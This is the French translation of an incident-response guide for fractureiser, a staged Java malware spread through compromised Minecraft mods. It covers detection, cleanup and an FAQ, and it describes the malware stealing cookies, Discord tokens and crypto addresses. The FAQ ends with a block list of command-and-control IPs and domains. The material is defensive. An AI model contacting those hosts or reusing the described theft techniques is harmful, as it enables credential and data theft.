étapes, chaque Étape est responsable du téléchargement +et l'exécution de celle d'après. Au total, il y a trois étapes connues (Les Étapes 1, 2, et 3), +avec les fichiers infectés servant d'"Étape 0" pour démarrer tout le processus. +L'Étape 3 est le cerveau du malware, et nous avons des preuves qu'elle essaye d'effectuer ce qui suit : + +* S'autopropager à *tous* les fichiers `jar` sur votre machine, affectant probablement les mods + n'ayant pas été téléchargé via CurseForge ou BukkitDev, et les autres programmes Java +* Voler les "cookies" et informations de connection de nombreux navigateurs web +* Remplacer les adresses de cryptomonnaies contenues dans le presse-papier par des versions alternatives qui semblent appartenir à l'attaquant +* Voler des identifiants Discord (tokens) +* Voler des identifiants Microsoft et Minecraft + +(Voir les [détails techniques](/lang/fr-FR/docs/tech.md) pour plus d'informations) + +À cause de ce comportement, nous sommes **très confiant** sur le fait que cela soit **une attaque visant l'écosystème de mods de Minecraft**. C'est assez grave. + +**Jusqu'à nouvel ordre, ayez une précaution extrême sur l'installation de mods Minecraft, sans tenir compte +de la source.** Bien que le serveur de contrôle du logiciel soit maintenant hors ligne, **tous les téléchargements provenant de CurseForge ou de Bukkit dans les 2-3 dernières semaines doivent être traité comme potentiellement dangereux**. Certains anti virus ont commencé à ajouter la signature du malware dans leurs bases de données, mais tant que tous n'auront pas été mis à jour, restez précautionneux. + +*Pour l'instant, nous ne pouvons pas affirmer qu'aucun service d'hébergement de mods est intact*. Agissez avec précaution sans tenir compte de quel site vous utilisez. Il est même possible que les répertoires Maven soient infecté, et ce malware remonte à plusieurs mois. + +Pour le moment, de nouvelles infections sont impossibles car le serveur de l'attaquant a été fermé, des infections existantes peuvent cependant encore être actives. + +### Qu'est-ce qu'une Étape ? (What the f*** is a Stage?) + +![Stage Diagram](/docs/media/stages.png) + +*Note de traduction : je me concentre pour le moment sur la traduction textuelle, la traduction des images arrivera au plus vite* + +## Suis-je infecté·e ? + +Le malware a plusieurs étapes, donc demandez si vous êtes infecté revient à poser deux questions + +### Est-ce que certains de mes mods ont l'Étape 0 ? +Plusieurs scanners existent qui prennent un fichier de mod et détectent s'il contient l'Étape 0 du logiciel malveillant. + +* Le [scanner](https://github.com/overwolf/jar-infection-scanner/releases) d'Overwolf + * Il s'agit de l'option recommandé pour tester votre jeu entier - juste donner le dossier où se trouvent vos instances + * Il s'agit d'un programme autonome qui ne requiert pas l'application Overwolf sur votre ordinateur +* Le [scanner](https://douira.github.io/fractureiser-web-detector/) en ligne par douira +* [nekodetector](https://github.com/MCRcortex/nekodetector/releases) par cortex (Cliquez sur "Assets" pour avoir accès au fichier exécutable) + +Isolée, l'infection de l'Étape 0 est inoffensive tant que le fichier est supprimé et jamais executé. + +### Est-ce que les fichiers de l'Étape 2 sont présents sur mon ordinateur ? + +Si les fichiers de l'Étape 2 se trouvent sur votre ordinateur, cela signifie que les étapes 0 et 1 ont fonctionné avec succès. +S'ils sont présents, vous êtes possiblement *complètement infecté* et devriez continuer à lire les instructions de ce document. + +Beaucoup d'anti virus ont commencé à détecter les fichiers de l'étape 2. Si vous recevez un avertissement a propos de fichiers trouvés et supprimés, passez à la section "Je suis infecté·e, que faire ?" + +Dans le cas contraire, vous pouvez vérifier manuellement en faisant ce qui suit, selon votre système d'exploitation : + +#### Instructions pour Windows + +* Ouvrez le menu Démarrer avec la touche Windows, et taper `%localappdata%` - il devrait apparaître comme suit : +![Résultats de la recherche ci dessus](/docs/media/localappdata.png) + +* Dans le dossier Local appdata, vous devez vous assurer que votre explorateur de fichier est configuré pour permettre de voir les `Fichiers cachés` et les `Fichiers protégés du Système d'Exploitation`. + * Cela peut être fait via Affichage > Options + * Si vous n'êtes pas sûr de la procédure, une vidéo explicative (en anglais) [se trouve ici](https://youtu.be/KLTlTlnXeKs). + * Les utilisateurs de Windows 11 users peuvent trouver des options similaires sous le bouton "Affichage" en haut de la fenêtre, ainsi que le bouton "..." à droite de celui-ci + + +* Trouvez le dossier nommé `Microsoft Edge`. L'ESPACE entre "Microsoft" et "Edge" est + important - comme `MicrosoftEdge` est un dossier légitime qui est utilisé par Edge. Le virus + le nomme juste ainsi pour se cacher. Le vrai dossier peut aussi s'appeler `Microsoft\Edge` (un dossier `Edge` dans le dossier `Microsoft`). + * Le vrai dossier *peut ne pas exister* - si vous n'avez rien lié à Edge, vous êtes en sécurités + * Les deux dossiers légitimes peuvent coexister en même temps, c'est normal. +* Si le dossier `Microsoft Edge` existe, vous êtes infecté. Si c'est le cas, supprimez définitivement ce dossier et son contenu. + * Si le dossier ne peut pas être supprimé, couper tous les programmes Java via le Gestionaire de Tâches. + + +#### Informations pour les utilisateurs de MacOS + +Ce malware ne semble pas affecter MacOS, donc vous devriez être tranquille. +*Revenez ici de temps en temps, juste au cas où.* + +#### Instructions pour les systèmes Linux + +Premièrement, assurez-vous que la méthode que vous utilisez pour voir les fichiers est capable de voir les fichiers cachés. La plupart des explorateurs de fichiers graphiques ont le raccourci Ctrl+H pour afficher/cacher les fichiers cachés. Si vous faites, ceci via un invite de commandes, utilisez `ls -A` dans les dossiers correspondants, ou `ls -lha` pour plus d'informations. + +Si un seul des fichiers suivant existe, vous êtes infecté. Dans ce cas, supprimez les tous : +* `~/.config/systemd/user/systemd-utility.service` +* `/etc/systemd/system/systemd-utility.service` +* `~/.config/.data/lib.jar` + +Ce faisant, si possible, vérifiez votre `journalctl` pour tous les changements que vous pouvez reconnaître. Vous pouvez faire cela via la commande `journalctl -exb` (pour les journaux systèmes) et `journalctl -exb --user` (pour les journaux utilisateurs). Exécutez les commandes suivantes pour rafraîchir vos services systemd : +```sh +sudo systemctl daemon-reload # Entrez votre mot de passe utilisateur +systemctl --user daemon-reload +``` + +#### Scripts + +*Si vous ne savez pas utiliser des scripts PowerShell ou Bash, ceci n'est pas pour vous* +Des scripts PowerShell et Bash automatiques sont disponibles [sur le site de PrismLauncher](https://prismlauncher.org/news/cf-compromised-alert/#automated-script) (article en anglais) pour vérifier la présence des fichiers de l'Étape 2, si vous avez les connaissances techniques pour les lancer. Overworlf (la compagnie parente de CurseForge) a aussi publié un outil de détection de l'Étape 2 en C# : +https://github.com/overwolf/detection-tool + +## Je suis infecté·e, que faire ? + +**IMPORTANT** : Nous ne connaissons pas encore l’entièreté de ce que peut réaliser le malware, ni ses intentions, donc une précaution extrême doit être appliqué jusqu'à ce qu'une façon de supprimer tous les symptômes soit trouvée. Tout ce qui est noté ici est seulement *ce que nous savons* - gardez un œil sur les communications de l'équipe pour de possible mise à jour si quoi que ce soit de critique est trouvé. + +(*note de traduction : Référez vous aux communications de l'equipe anglaise en premier lieu, la traduction en français prend du temps*) + +Si vous avez trouvé des fichiers de l'Étape 2 de fractureiser sur votre ordinateur, il est fortement probable que l'Étape 3 ait été exécuté et ait infecté votre appareil. Votre meilleure option est de considérer que tout ce qui se trouve sur votre ordinateur est *entièrement compromis*. Vous devrez : + +* Faire une Back Up de tout ce que vous ne voulez pas perdre sur une clé USB ou une mémoire externe (vous devriez faire ceci souvent dans tous les cas !) +* Utiliser un ordinateur différent, changer vos mots de passes pour tous les services auxquel vous étiez connectés sur votre ancien ordinateur (Discord, boite mails, etc...). Si possible utilisez une gestionnaire de mots de passe comme [BitWarden](https://bitwarden.com). +* Si vous n'utilisez pas encore d’Authentification à Double Facteur (l'application Authentificar ou SMS) pour tous les services le proposant, commencez à le faire immédiatement +* Si vous le pouvez, contactez un service professionnel pour effectuer un diagnostic plus détaillé sur votre appareil pour quoi que ce soit de suspicieux, ou pour vous aider à tout effacer et réinstaller le système d'exploitation. +* Lisez les sections suivantes sur quoi faire si vous n'êtes pas infecté, car les étapes s'appliquent à vous aussi. + +## Je ne suis pas infecté·e, que faire ? + +Si rien n'a été trouvé par le scanner pour l'Étape 2, il est probable que rien ne se passe et que vous soyez capable de jouer tranquillement. + +Bien que `fractureiser` ai été supprimé, de nouveaux virus peuvent apparaître dans un futur proche tant que nous n'aurons pas établi de nouveaux protocoles. Si vous voulez jouer, nous vous recommandons de : + +* Jouer exclusivement avec les mods et modpacks que vous avez deja installer et vérifier pour leur sécurité +* Éviter d'installer quoi que ce soit publié le 8 juin venant de nouveaux auteurs ou d'auteurs inconnus, pour la même raison que le point d'avant. +* Éviter de mettre à jour vos modpacks. +* Garder un œil sur les communications des équipes de développement pour être au courant des nouvelles méthodes pour détecter des problèmes similaires dans le futur. + +## Foire aux Questions + +### Est-ce que CurseForge a été compromis ? +CurseForge en lui-même n'est pas compromis, seulement certains comptes. Ce n'est pas un problème de CurseForge, il se trouve juste qu'il s'agit de l’endroit où tout s'est produit. CurseForge ont aussi [publié un article](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) (en anglais) décrivant la situation de leur point de vue et travaillent activement pour déployer des mesures de sécurité supplémentaires. + +### Et Modrinth ? +Modrinth ont réalisé un scan entier des mods publiés ces 10 derniers mois et aucun projet infecté n'a été trouvé. Cependant, nous recommandons toujours de rester vigilant en téléchargeant quoi que ce soit lié aux mods Minecraft durant cette période. +Le fait qu'aucun mod n'ait été infecté est un coup de chance. + +### Modrinth est-il plus sûre ? +Le problème ne vient pas du site, la sécurité de Modrinth équivaut à celle de CurseForge. + +### Comment CurseForge n'ont pas pu détecter cela ? +Le code que l'Étape 0 exécute n'est pas nécessairement suspicieux pour un système de vérification automatisé, et pourrait très bien être quelque chose qu'un autre mod utilise (une dépendance). En faite, les premiers outils pour détecter l'Étape 0 renvoyaient un nombre signifiant de faux positifs sur des mods populaires tel que Quark. + +Soyons réaliste : ce type de prévention à la taille d'une platform est infaisable à cause de l'infinité de possibilités de cacher les intentions de son code. + +### Quels Antivirus sont capables d'identifier le malware ? +De nouveaux sont en train d'être ajoutés au moment où nous parlons, il est mieux de rester à la vérification manuelle ci-dessus plutôt que de compter sur les AV pour le moment. + +### Est-ce que je peux aller en multijoueur ? +Oui, vous ne pouvez pas être infecté via un serveur multijoueur si vous ne téléchargez pas de mods pour lui. + +### Bedrock est-il touché ? +Non, cela n'affecte que la version Java de Minecraft. + +### Est-ce que des clients alternatifs tels que Lunar ou Badlion sont sûrs ? +Voir ci-dessous. + +### Est-ce qu'Optifine est sûr ? / Est-ce que Sodium est sûr ? / Est-ce qu'Iris est sûr ? / Est-ce que Create est sûr ? / Est-ce que Essential est sûr ? / Est-ce que (inserer un nom de mod) est sûr ? + +**Nous ne pouvons pas entièrement confirmer la sécurité d'aucun mod.** + +L'une des fonctions de l'Étape 3 du virus est d'infecter le plus de `.jar`s qu'il peut trouver sur votre ordinateur. Il peut infecter **tous les .`jar`s**, y compris Minecraft (vanilla/moddé), des mods, des plugins, et des applications Java sans rapport. Donc si votre ordinateur à l'Étape 3 du virus, savoir si le mod que vous venez de télécharger est sûr n'est plus utile - il va *devenir* infecté. +Détectez et supprimez les Étapes 1 et 2 de fractureiser **en premier**. + +Pour le moment, tous les mods infectés **connus** ont été supprimé de CurseForge. CurseForge [a posté une liste des mods infectés connus](https://support.curseforge.com/en/support/solutions/articles/9000228509-june-2023-infected-mods-detection-tool/) (en anglais, en fin de page) et les ont supprimés du site. Modrinth a scanné 10 mois de mods publiés et n'ont trouvé aucune infection. + +Cela *ne garantit pas que des mods infectés aient passé les vérifications*. Pour vérifier si un `jar` donné contient l'Étape 0 de fractureiser, regardez la section [Suis-je infecter ?](#suis-je-infectée) et surtout ayez une précaution extrême en téléchargeant quoi que ce soit lié aux mods pour le moment. + +### À quel point l'infection est elle répandue ? + +CurseForge a indiqué que les fichiers infectés ont été téléchargé près de 6 000 fois pour leur entière période d'infection. Citation de l'annonce de CurseForge sur Discord (en anglais) : +> Just to give perspective, this accounts to about 0.015% of CurseForge’s daily downloads +> for Minecraft. + +> "Pour vous donner un ordre d'idée, cela représente a peut près 0.015% des téléchargements journaliers de mods minecraft sur curseforge" + +### Est-ce que quelqu'un a voulu gâcher la sortie de la 1.20 ? + +Il s'agit d'une coincidence - ce virus était actif depuis plusieurs mois avant d'être mis à la lumière du jours le matin même de la sortie de la 1.20. + +## FAQ technique + +### Est-ce que fractureiser peut s'échapper des VMs (Machines Virtuelles)? + +**Non.** + +L'Étape 3 *contient* du code pour *essayer* de s'échapper *manuellement* du ["Bac à sable Windows"](https://learn.microsoft.com/fr-fr/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview). +Cela n'arrive pas automatiquement. Si le virus est lancé depuis le Bac à sable, il va essayer de modifier votre presse-papier pour vous faire coller un raccourci vers le logiciel malveillant. + +Notez que cette sorte d'"évasion presse-papier" n'est rien de nouveau et elle est très facile à faire échouer en ne partageant pas son presse-papier entre les systèmes hébergeur et hébergé. Utilisez une machine virtuelle plus lourde que le Bac à sable, et désactivez les fonctionnalités partageant le presse-papier ("Guest Addons" pour VirtualBox ou l'intégration des services pour Hyper-V). + +(De *vraies* techniques d'évasion de machines virtuelles valent des millions de dollars et ne seraient pas utilisées pour des enfants jouant à Minecraft, et nous avons des raisons de croire que l'auteur de ce malware n'est pas un très bon programmeur en premier lieu.) + +### Est-ce que le virus peut se propager dans les réseaux ? + +De ce que nous savons, fractureiser ne contient pas de fonctionnalités pour se propager sur des réseaux, mais ce n'est pas à exclure. +Un chercheur en sécurité avec qui nous travaillons a reçu une alerte, mais il s'est avéré que ça n'avait aucun lien avec fractureiser, seulement un autre fichier ayant le même nom. Juste une fausse alerte. + +### Que font CurseForge et Modrinth face à la situation ? + +CurseForge ont développé un [détecteur pour les étapes 2 et 3](https://github.com/overwolf/detection-tool) ainsi qu'un [détecteur d'étape 0](https://github.com/overwolf/jar-infection-scanner), ils ont aussi scanné **tous** les mods et plugins publiés à la recherche d'infection d'Étape 1, et ont supprimé tous les cas d'infection **connus**. + +Modrinth ont aussi scanné les mods et plugins publiés ces 10 derniers mois et n'ont trouvé aucune infection. + +Les deux platforms considèrent l'introduire d'un processus de scan automatique pour les mods soumis. C'est difficile, puisque les malwares Java comme celui-ci sont typiquement uniques. + +### Quelles adresses puis-je bloquer dans mon firewall/ma table de routage ? + +Le code lié à fractureiser a pu être observé se connecter aux URL et adresses suivantes sur un grand nombre de ports : + +* L'adresse mise en brute dans les mods infecté par l'Étape 0, ainsi que le premier serveur "command&control" observé (le serveur gérant tout pour faire simple) : `85.217.144.130` +* Le deuxième serveur "command&control" observé : `107.189.3.101` +* L'URL de rechange que l'Étape 1 essaye d'utiliser, et le nom de domaine du serveur "command&control" de l'Étape 2 : +`files-8ie.pages.dev` + +Il y a aussi des preuves de tentatives de connection à l'adresse `v2202209151437200088` +sur le port 25575 - la raison est toujours inconnue ; probablement une ancienne version du virus. + +Voici quelques adresses additionnelles à bloquer lié à "skyrage" (un ancien virus visant les serveurs Spigot/Paper, il est *très* improbable que skyrage eu été téléchargé sur l'ordinateur de qui que ce soit via ce moyen, mais rien de bon ne vient de ces adresses dans tous les cas) : + +* `95.214.27.172` +* `connect.skyrage.de` +* `t23e7v6uz8idz87ehugwq.skyrage.de` +* `qw3e1ee12e9hzheu9h1912hew1sh12uw9.skyrage.de` +* *Honnêtement, bloquez tout `skyrage.de`* + +Cela va sans dire que vous ne devriez en aucun cas visiter ces sites. + +### Peut-on ajouter aux règles de CurseForge/Modrinth l'interdiction pour vos mods de télécharger d'autres fichiers ? + +Il est déjà contre les règles de CurseForge de publier des malwares. Il y a aussi certains mods qui ont un besoin légitime à télécharger des fichiers pour lesquels cela poseraient problème. + +### Serait-il possible d'inclure une sorte d'"antivirus" ou un "bac à sable" dans les outils tel que Forge ou Fabric eux-mêmes ? + +"Antivirus" : Probablement non, pour la même raison que les antivirus classiques n'ont pas détecté fractureiser +Les antivirus ne peuvent détecter que les menaces connues, et non les nouveaux malwares. + +Utiliser un "bac à sable " : Inclure une sorte de vérification "est-ce que ce que contient cette classe est du code 'sûre' ?" avant de charger la classe est un très bon moyen de lancer un jeu de chat contre souris entre les développeurs mal intentionnés et les développeurs des plateformes de mods. + +Il est très difficile de bannir du code Java d'utiliser une certaine classe (disons, `URLClassLoader`) car vous pouvez y référer en tant que `Class.forName` (qui a énormément d'utilisations légitimes), et si vous bannissez ou mettez sur liste noire des classes de ce moyen, vous pouvez basiquement trouver d'*autres* moyens d'utiliser `Class.forName`, et essayer de se débarrasser de ces utilitaires dans une partie sans fin de Tape Taupe. + +Utiliser un "bac à sable" en Java est quasiment impossible - voir des articles comme ["Twenty Years of Escaping the Java Sandbox"](https://www.exploit-db.com/papers/45517) (en anglais). + +Les mods pour Minecraft Java sont basiquement un sac de code arbitraire : traitez les comme des `.exe`, ils peuvent tout faire. + +### Pourquoi les mods n'ont pas de signature cryptographique pour éviter des malwares de se glisser en leur sein ? + +Le problème est qu'une signature seule ne previent en aucun cas un malware - un virus possédant une signature reste un virus - et si s'autoattribuer une signature est autorisé, cela ne change rien, le virus peut simplement supprimer la signature du jar ("supprimer le dossier META-INF") et recréer une signature avec sa propre clé. (Ce n'est pas une hypothèse, en effet : fractureiser contient une partie permettant d'enlever la signature des jars qu'il infecte.) + +Une signature en ligne pour les mods *semble* être un pas en avant prometteur, mais il y aura des compromis à faire. Il y a eu [une réunion](/lang/fr-FR/docs/2023-06-08-meeting.md) avec différents responsables de l'écosystème Minecraft moddé pour discuter de comment continuer sur cette voie. + +### Serait-il possible d'interdire la possibilité de télécharger du code exécutable aux mods ? + +Ce n'est pas possible. Vous ne pouvez pas savoir si un fichier contient du code executable avant son téléchargement, et après celui-ci, vous ne pouvez pas controller ce qui en est fait. + +* Et si mon mod téléchargeait une simple classe Java ? +* Qu'en est-il d'une classe Java mais écrit à l'envers, est-ce qu'on dirait une classe dans un premier temps ? +* Qu'en est-il d'une classe Java encryptée ? +* Qu'en est-il de code *source* Java qui se compile sur votre ordinateur ? +* Qu'en est-il d'un script Python ? +* Qu'en est-il d'un fichier contenant un paragraphe en anglais où il *apparaît* que les phrases avec un nombre pair de mots correspondent à un 0, et celle avec un nombre impair à un 1 ? - même s'il s'agit uniquement d'un paragraphe, je peux techniquement l'assembler en un fichier exécutable, si j'en ai envie. + +### Est-ce que cela a un lien avec le plugin malveillant Spigot qui circule ? + +Possiblement ! Il existe des liens vers ce malware existant `skyrage` - l'auteur de fractureiser a publié des fichiers jars reliés à skyrage sur son serveur "command&control" de secours, dans une tentative sans succès d'étendre son attaque, juste avant que CloudFare coupe le serveur. + +**Nous n'avons reçu aucune preuve que qui que ce soit ait été infecté par Skyrage via ce moyen.** +L'auteur a mis à jour l'URL CloudFare pour rediriger vers Skyrage après une longue période de temps *après* que l'adresse écrite en brute dans les mods infecté par l'Étape 0 a été retiré. Il s'agit plus d'une curiosité amusante que l'attaquant ait essayé de partager ce fichier dans tous les cas. + +Skyrage est un malware existant bien étudié et vous pouvez trouver des informations sur celui-ci, [ici](https://ljskatt.no/analysis/updater_class/).